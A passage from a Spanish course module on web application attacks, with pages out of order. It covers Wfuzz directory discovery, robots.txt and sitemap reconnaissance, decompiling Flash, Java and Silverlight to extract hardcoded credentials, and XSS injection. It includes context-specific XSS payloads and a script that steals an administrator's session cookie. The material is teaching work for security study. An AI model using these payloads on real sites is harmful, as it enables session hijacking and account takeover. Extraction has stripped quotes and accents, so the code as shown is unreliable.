momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 7 Ataques a aplicaciones web
Figura 1 Buacutesqueda que devolviacutea maacutes de 3000 paacuteginas con eltexto ldquosamy is my herordquo
Estos dos casos reflejan perfectamente lo criacutetica que puede llegar a ser una
vulnerabilidad XSS y el resto de sus variantes para la seguridad de un sitio web
a pesar de la opinioacuten de aquellos que no las consideran como tal
Hacker Safe
En el uacuteltimo de los casos presentado e ilustrativo de esta poleacutemica aparece la com-pantildeiacutea Hacker Safe dedicada a comercializar soluciones de seguridad Esta iniciativapromete tras el pago de cierta cantidad monetaria revisar diariamente la seguridadde un sitio web mediante el uso de herramientas automatizadas Ademaacutes permite in-cluir una pequentildea imagen con el texto ldquo100 Hacker Saferdquo en el sitio con el objetode inspirar confianza a los usuarios
Tras descubrirse y hacerse puacuteblico que algunas de las paacuteginas ldquo100 Hacker Saferdquopresentaban vulnerabilidades de tipo XSS algunos de los maacuteximos responsables dela compantildeiacutea llegaron a afirmar que los fallos de XSS no eran criacuteticos y que nunca sehabiacutean llegado a utilizar para comprometer totalmente la seguridad de un sitio Comose ha podido observar en los casos anteriores y se podraacute corroborar en las paacuteginassiguientes esta afirmacioacuten es cuanto menos ignorante
11 Cross site scripting (XSS)
El cross site scripting es la base de todas las demaacutes teacutecnicas que se van a ir ana-
lizando en este moacutedulo asiacute que es fundamental entender correctamente los
conceptos que se explican a continuacioacuten
CC-BY-NC-ND bull PID_00191662 8 Ataques a aplicaciones web
Cuando se habla de ejecucioacuten remota de coacutedigo es necesario considerar coacutemo
se realiza la interaccioacuten con la paacutegina Evidentemente toda peticioacuten enviada
al servidor va a ser procesada por este y en funcioacuten de coacutemo la interprete seraacute
o no factible un ataque mediante XSS
Una paacutegina es vulnerable a XSS cuando aquello que nosotros enviamos
al servidor (un comentario un cambio en un perfil una buacutesqueda etc)
se ve posteriormente mostrado en la paacutegina de respuesta
Esto es cuando escribimos un comentario en una paacutegina y podemos leer
posteriormente nuestro mensaje modificamos nuestro perfil de usuario
y el resto de usuarios puede verlo o realizamos una buacutesqueda y se nos
muestra un mensaje ldquoNo se han encontrado resultados para lttextogtrdquo
se estaacute incluyendo dentro de la paacutegina el mismo texto que nosotros
hemos introducido Ahiacute es donde vamos a empezar a investigar para
lograr introducir nuestro coacutedigo XSS
Una vez se ha detectado una zona de la aplicacioacuten que al recibir texto proce-
dente del usuario lo muestra en la paacutegina es el momento de determinar si es
posible utilizar esa zona como punto de ataque de XSS Para ello es posible
insertar un pequentildeo coacutedigo Javascript que muestra un mensaje de alerta para
descubrir raacutepidamente si se estaacute actuando en la liacutenea correcta de ataque Para
los ejemplos se utilizaraacute el siguiente coacutedigo
ltscriptgtalert(iexclHola Mundo)ltscriptgt
El coacutedigo anterior va a ser vaacutelido para la mayor parte de los casos aunque
como se veraacute posteriormente determinados filtros Anti-XSS pueden imposibi-
litar el uso de ciertos caracteres a la hora de introducir el coacutedigo Javascript Por
ejemplo las comillas dobles o los caracteres de ldquomayor querdquo y ldquomenor querdquo
suelen estar prohibidos
Imaginemos que disponemos de un perfil en una red social donde se nos permite modi-ficar nuestra descripcioacuten personal En lugar de escribir otra informacioacuten en este apartadose introduce el coacutedigo JavaScript anterior Si al visitar de nuevo nuestro perfil se muestrauna ventana de alerta con el mensaje ldquoiexclHola Mundordquo se puede afirmar que la paacutegina encuestioacuten es vulnerable a XSS
Dentro de los posibles fallos de XSS podemos distinguir dos grandes categoriacuteas
bull Permanentes El ejemplo comentado en el paacuterrafo anterior pertenece a esta
categoriacutea Su denominacioacuten se debe al hecho de que como mostraba el
ejemplo la ventana de alerta en Javascript queda almacenada en alguacuten
lugar habitualmente una base de datos SQL y se va a mostrar a cualquier
usuario que visite nuestro perfil Evidentemente este tipo de fallos de XSS
son mucho maacutes peligrosos que los no permanentes que se comentan a
continuacioacuten
CC-BY-NC-ND bull PID_00191662 9 Ataques a aplicaciones web
bull No permanentes Esta categoriacutea queda ilustrada con el caso que ahora se
menciona Nos encontramos con una paacutegina web que dispone de busca-
dor el cual al introducir una palabra inventada o una cadena aleatoria de
caracteres muestra un mensaje del tipo ldquoNo se han encontrado resultados
para la buacutesqueda lttextogtrdquo donde lttextogt es la cadena introducida en
el campo de buacutesqueda
Si en la buacutesqueda se introduce como lttextogt el coacutedigo Javascript antes indi-
cado y de nuevo aparece la ventana de alerta significa que la aplicacioacuten es
vulnerable a XSS La diferencia es que en esta ocasioacuten los efectos de la accioacuten
no son permanentes
XSS (cross site scripting) consiste en la posibilidad de introducir coacutedigo
Javascript en una aplicacioacuten web lo que permite realizar una serie de
acciones maliciosas en la misma
Para inyectar el coacutedigo se localiza una zona de la paacutegina que por su funcio-
nalidad incorpora dentro de su propio coacutedigo HTML el coacutedigo Javascript que
anteriormente se ha introducido en alguacuten lugar de la aplicacioacuten Si este coacutedigo
se ha escrito en alguacuten campo donde queda almacenado en una base de datos
de forma permanente se mostraraacute cada vez que un usuario acceda a la paacutegina
Sin embargo las vulnerabilidades maacutes habituales son las no permanentes En
estos casos es necesario recurrir a la ingenieriacutea social para efectuar el ataque
Para ello es necesario fijarse en primer lugar en la URL de la paacutegina que deberaacute
ser algo similar a
httpwwwvictimacomsearchquery=ltscriptgtalert(Hola Mundo)ltscriptgt
Una vez se disponga de esta URL se deberaacute de procurar que la viacutectima haga
clic sobre ella ejecutando el coacutedigo Javascript Esta situacioacuten corresponderiacutea
ya a otro aacutembito de estudio como es la ingenieriacutea social
111 Ataques
Vamos a comentar a continuacioacuten las posibles implicaciones de seguridad que
pueden presentar un fallo de este tipo Ha de considerarse que se trata uacutenica-
mente de ideas generales y que el liacutemite lo pone la imaginacioacuten del atacante
y las funcionalidades de la aplicacioacuten objetivo del ataque
bull Un ataque de XSS puede tomarelcontrolsobreelnavegadordelusua-
rioafectado y como tal realizar acciones en la aplicacioacuten web Si se ha
logrado que un usuario administrador ejecute nuestro coacutedigo Javascript
las posibilidades de actuacioacuten maliciosa son muy superiores Seraacute posible
por citar alguacuten ejemplo desde borrar todas las noticias de una paacutegina a
generar una cuenta de administrador con los datos que nosotros especifi-
CC-BY-NC-ND bull PID_00191662 10 Ataques a aplicaciones web
quemos Si el coacutedigo Javascript es ejecutado por un usuario sin derechos de
administracioacuten se podraacute realizar cualquier modificacioacuten asociada al perfil
especiacutefico del usuario en el sitio web
bull Otra posible accioacuten a efectuar haciendo uso de estas teacutecnicas es el phishing
Mediante Javascript como hemos visto podemos modificar el comporta-
miento y la apariencia de una paacutegina web Esto permite crear un formula-
rio de login falso o redirigir el submit de uno existente hacia un dominio
de nuestro control
bull Igualmente se puede ejecutar ataques de defacement1 apoyaacutendonos en teacutec-
nicas que explotan vulnerabilidades XSS
bull Por otra parte aunque menos habitual es posible realizar un ataquedede-
negacioacutendeserviciosdistribuidos (distributed dennial of services DDoS)
Para ello se forzaraacute mediante coacutedigo Javascript a que los navegadores ha-
gan un uso intensivo de recursos muy costosos en ancho de banda o ca-
pacidad de procesamiento de un servidor de forma asiacutencrona
bull Para finalizar tenemos el gusano XSS un coacutedigo Javascript que se propaga
dentro un sitio web o entre paacuteginas de Internet Supongamos la existen-
cia de un fallo XSS en la descripcioacuten personal de los usuarios de una red
social En esta situacioacuten un usuario malintencionado podriacutea crear coacutedigo
Javascript que copiase el coacutedigo del gusano al perfil del usuario que visita
otro perfil infectado y que adicionalmente realizase alguacuten tipo de modifi-
cacioacuten en los perfiles afectados
Como se puede comprobar las posibilidades que ofrece el XSS son realmen-
te amplias Las uacutenicas limitaciones la constituye la imposibilidad de ejecutar
coacutedigo fuera del navegador dado que la sandbox sobre la que se ejecuta no
permite el acceso a ficheros del sistema y a las propias funcionalidades que
ofrezca el sitio web objeto del posible ataque
112 Meacutetodos para introducir XSS (cross site scripting)
Para exponer las distintas metodologiacuteas que permiten introducir coacutedigo Javas-
cript en una paacutegina vulnerable a XSS vamos a desarrollar una serie de praacutecticas
de la teacutecnica Abordaremos los meacutetodos maacutes comunes para insertar el coacutedigo
malicioso generado Los meacutetodos expuestos se nombraraacuten en funcioacuten de las
zonas de coacutedigo de la aplicacioacuten web donde va a quedar ubicado el coacutedigo
Javascript introducido
bull ElcoacutedigosecopiaentredosetiquetasHTML Es el modo maacutes sencillo
Simplemente debemos introducir el coacutedigo Javascript que deseemos eje-
cutar
(1)Es maacutes que la modificacioacuten de laapariencia original de una paacuteginaweb para que muestre un mensajenormalmente reivindicativo en lu-gar de su apariencia normal
CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web
ltscriptgtalert(iexclHola Mundo)ltscriptgt
bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-
putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-
cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos
lo habitual es que el teacutermino introducido se copie dentro del campo del
buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-
tinuacioacuten
ltinput type=text name=q2 value=[busqueda] gt
Como se puede observar nuestro coacutedigo queda situado entre unas comillas
dobles de un atributo perteneciente a una etiqueta HTML que no permiten
que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la
que nos encontremos y posteriormente insertar el coacutedigo Javascript
gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=
Esta seriacutea la combinacioacuten resultante
ltinput type=text name=q value=gt
ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt
Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para
evitar de este modo que el coacutedigo HTML quede malformado
bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser
comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten
dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-
trar en una situacioacuten de este tipo es el siguiente
lt-- La busqueda fue [busqueda] --gt
Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-
te caso se deberiacutean cerrar los caracteres de comentario HTML introducir
nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios
HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse
perfectamente con el coacutedigo original de la paacutegina
--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-
Esta podriacutea ser la combinacioacuten adecuada
lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt
lt-- --gt
CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web
bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-
do las paacuteginas utilizan datos introducidos por el usuario para generar al-
guacuten tipo de evento personalizado o para almacenar datos que se van a usar
posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea
como la siguiente
ltscriptgt var busqueda = [busqueda] ltscriptgt
En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-
demos directamente introducir el coacutedigo Javascript como se refleja en la
siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-
tante cuando sea necesario evitar los filtros anti-XSS que las eliminan
alert(iexclHola Mundo)
Hemos utilizado las barras al final de la sintaxis para lograr que el resto de
la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-
tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-
do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML
debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores
no lo ejecutaraacuten
ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt
bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-
nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye
dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-
tido del supuesto de que no existen filtros anti-XSS implementados Jun-
to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de
coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP
113 Diseccionando un ataque
Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un
ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-
okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten
consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador
uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-
lizamos hacia un servidor Este identificador asociado a un usuario que se ha
ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-
denciales para cada paacutegina que el usuario visita dentro de un mismo dominio
Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos
al servidor este nos asociaraacute en todo momento al usuario al que estamos su-
plantando
CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web
El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en
una paacutegina web es localizar zonas funcionales de esta que permitan la intro-
duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente
si queda almacenado en una base de datos o bien de forma no permanente
si no es asiacute
En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio
de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible
ataque XSS
Figura 2 Enviacuteo de mensaje
Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo
de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una
serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres
a introducir seriacutean
bull Comilla simple (lsquo)
bull Comilla doble (ldquo)
bull Siacutembolo de mayor que (gt)
bull Siacutembolo de menor que (lt)
bull Barra ()
bull Espacio ( )
Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-
sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar
su existencia de forma totalmente definitiva siempre existe la posibilidad de
encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras
clave como script onload o javascript
En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-
raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-
queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-
mer ataque de XSS
En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-
luser De este modo todas las pruebas que realicemos se enviacutean directamente a
este usuario evitando alertar al usuario administrador En el campo del Cuer-
CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web
po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos
muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El
resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten
Figura 3 XSS antes de ser enviado
En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-
gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido
y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto
ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja
de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del
resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada
obtendremos una ventana de alerta con el mensaje especificado
Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el
coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve
el servidor
lta href=indexphpaction=deletegtltimg src=trashpng gtBorr
lta href=indexphpaction=logoutgtltimg src=system-log-outpn
ltdiv class=contenidogt
ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt
ltscriptgtltpgtltdivgt
ltdivgt
ltbodygt
Como se puede observar todos y cada uno de los caracteres que hemos intro-
ducido han quedado almacenados en la base de datos y se han copiado en el
coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro
Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se
estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-
do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-
mente o que borre todos sus mensajes La lista de posibilidades de acciones
maliciosas seriacutea interminable
CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web
En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de
mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript
and XML) pasando a enviar mensajes de manera automaacutetica utilizando para
ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que
reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada
conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios
administrativos lograremos control total sobre la aplicacioacuten
Generalmente seraacute necesaria una buena base de Javascript para explotar de
manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos
deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-
cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-
tivo del mismo
ltscriptgt
d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie
if(windowXMLHttpRequest)
x=new XMLHttpRequest()
else
x=new ActiveXObject(MicrosoftXMLHTTP)
xopen(POSTfuncsendphptrue)
xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)
xsetRequestHeader(Content-Lengthdlength)
xsend(d)
ltscriptgt
Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario
De manera totalmente transparente para el usuario afectado este nos la en-
viaraacute mediante un mensaje Procedamos al anaacutelisis
bull Inicialmente se declara una variable d Esta variable contiene los valores
de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-
cacioacuten cuando mandamos un mensaje Detalle importante a observar es el
contenido de la variable ampmensaje documentcookie un objeto del DOM2
de la paacutegina que contiene todas las cookies asociadas al dominio actual
bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten
de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-
plorer como Firefox o similares Este objeto es el usado para realizar las
peticiones AJAX
bull Con open() establecemos las condiciones que se van a utilizar para enviar el
formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene
